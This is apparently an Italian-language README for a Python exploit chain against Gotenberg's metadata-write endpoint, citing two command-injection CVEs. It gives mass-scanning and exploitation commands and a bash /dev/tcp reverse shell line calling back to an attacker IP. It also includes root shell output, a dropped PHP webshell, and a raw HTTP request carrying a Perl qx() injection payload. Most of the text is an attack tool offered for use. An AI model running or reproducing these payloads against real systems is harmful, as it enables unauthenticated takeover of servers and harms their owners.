Catena di exploit in Python per Gotenberg CVE-2026-42589 e CVE-2026-40281: rileva istanze vulnerabili, inietta payload nei metadati e rilascia reverse shell o webshell.
Gotenberg ≤ 8.30.1 — Esecuzione remota di codice non autenticata
Exploit concatenato con reverse shell + webshell File Manager + modalità interattiva blind-safe
Gotenberg è un'API stateless basata su Docker che converte documenti (HTML, Markdown, Office...) in PDF. Le versioni ≤ 8.30.1 sono vulnerabili a due vulnerabilità critiche di RCE non autenticata sull'endpoint /forms/pdfengines/metadata/write.
Questo repository fornisce due strumenti che concatenano entrambe le CVE in un unico flusso di sfruttamento:
| Strumento | Scopo |
|---|---|
gotenberg_rce.py | Rilevamento + shell interattiva + rilascio della webshell File Manager |
auto_revshell.py | Rilevamento automatico IP → avvio listener → invio payload reverse shell → sessione interattiva |
| Campo | Valore |
|---|---|
| Tipo | Iniezione di comandi OS (RCE) |
| CVSS | 9.8 — Critica |
| Vettore | POST /forms/pdfengines/metadata/write |
| Iniezione | Chiavi dei metadati JSON |
| Causa principale | system() tramite configurazione di ExifTool |
| Campo | Valore |
|---|---|
| Tipo | OS Command Injection (RCE) |
| CVSS | 10.0 — Critico |
| Vettore | POST /forms/pdfengines/metadata/write |
| Iniezione | valori dei metadati JSON |
| Causa principale | qx() (Perl) tramite ExifTool |
| Versione | 42589 | 40281 |
|---|---|---|
< 8.29.1 | ✅ | ✅ |
8.29.1 | ✅ | ✅ |
8.30.0 | ✅ | ✅ |
8.30.1 | ✅ | ✅ |
≥ 8.31.0 | ❌ | ❌ |
40281 che 42589!upload, !shell, !check, !clear)HTTP 500requests, urllib3git clone https://github.com/HackfutSecRoot/-GOTENBERG-RCE-CHAIN.git
cd -GOTENBERG-RCE-CHAIN
python3 -m venv venv
source venv/bin/activate # Linux/Mac
# venv\Scripts\activate # Windows
pip install -r requirements.txt
requirements.txtrequests>=2.28.0
urllib3>=1.26.0
auto_revshell.py)python auto_revshell.py -u http://target:3000
Rileva automaticamente il tuo IP pubblico → associa il listener → sfrutta il target → ti fornisce una shell.
python gotenberg_rce.py -u http://target:3000 # check only
python gotenberg_rce.py -u http://target:3000 -i # interactive (blind)
python gotenberg_rce.py -u http://target:3000 --rev # auto reverse shell (auto IP)
python gotenberg_rce.py -u http://target:3000 --rev --lport 4444 # auto with custom port
python gotenberg_rce.py -u http://target:3000 --rev --lhost 1.2.3.4 --lport 4444
python gotenberg_rce.py -f targets.txt --rev --lport 4444 -t 20 -o results.txt
| Flag | Descrizione | Predefinito |
|---|---|---|
-u, --url | URL di destinazione (obbligatorio) | — |
--lhost | Il tuo IP pubblico | rilevato automaticamente |
--lport | Porta del listener | 4444 |
--wait | Secondi di attesa per il callback | 25 |
--timeout | Timeout per singola richiesta | 60 |
--no-banner | Salta il banner | false |
gotenberg_rce.py)python gotenberg_rce.py -u http://target:3000 -i
Ti porta in una pseudo-shell interattiva:
rOOt@HFT:~$ id
uid=0(root) gid=0(root) groups=0(root)
rOOt@HFT:~$ uname -a
Linux gotenberg 5.10.0-26-amd64 #1 SMP Debian 5.10.197-1 x86_64 GNU/Linux
rOOt@HFT:~$ !shell
[*] Shell URL: http://target:3000/var/www/html/fm_abc123.php
rOOt@HFT:~$ exit
[*] Exiting interactive shell.
| Flag | Descrizione |
|---|---|
-u, --url | Singolo target |
-f, --file | File con i target (uno per riga) |
-t, --threads | Thread per la scansione massiva |
--check-only | Solo rilevamento, nessuno sfruttamento |
--shell | Rilascia la webshell File Manager |
-i, --interactive | Accede alla shell interattiva |
-o, --output | Salva i risultati |
| Comando | Azione |
|---|---|
help, ? | Mostra l'aiuto |
exit, quit, q | Esci |
!upload | Ridistribuisce la shell File Manager |
!shell | Mostra l'URL della shell |
!check | Ricontrolla la vulnerabilità |
!clear | Pulisce lo schermo |
python gotenberg_rce.py -f targets.txt --shell -t 20 -o results.txt
targets.txt:
# one URL per line
http://1.2.3.4:3000
https://gotenberg.internal:3000
http://5.6.7.8:3000
[*] Detecting public IP...
[+] Public IP: 1.2.3.4
[+] Listener bound on 0.0.0.0:4444
[*] Sending reverse shell to 1.2.3.4:4444...
[1/7] bash -c 'bash -i >& /dev/tcp/1.2.3.4/4444 0>&1'...
[+] CALLBACK RECEIVED from 134.199.148.233
[*] Entering interactive shell. Type 'exit' to quit.
# id
uid=0(root) gid=0(root) groups=0(root)
# hostname
gotenberg
Lo strumento invia un payload controllato a /forms/pdfengines/metadata/write:
POST /forms/pdfengines/metadata/write HTTP/1.1
Content-Type: multipart/form-data; boundary=...
--BOUNDARY
Content-Disposition: form-data; name="files"; filename="test.pdf"
Content-Type: application/pdf
%PDF-1.4
...
--BOUNDARY
Content-Disposition: form-data; name="metadata"
{"Title":"test\n-Title<${PDFVersion;$_=qx("echo MARKER")}>"}
--BOUNDARY--
Segnali analizzati: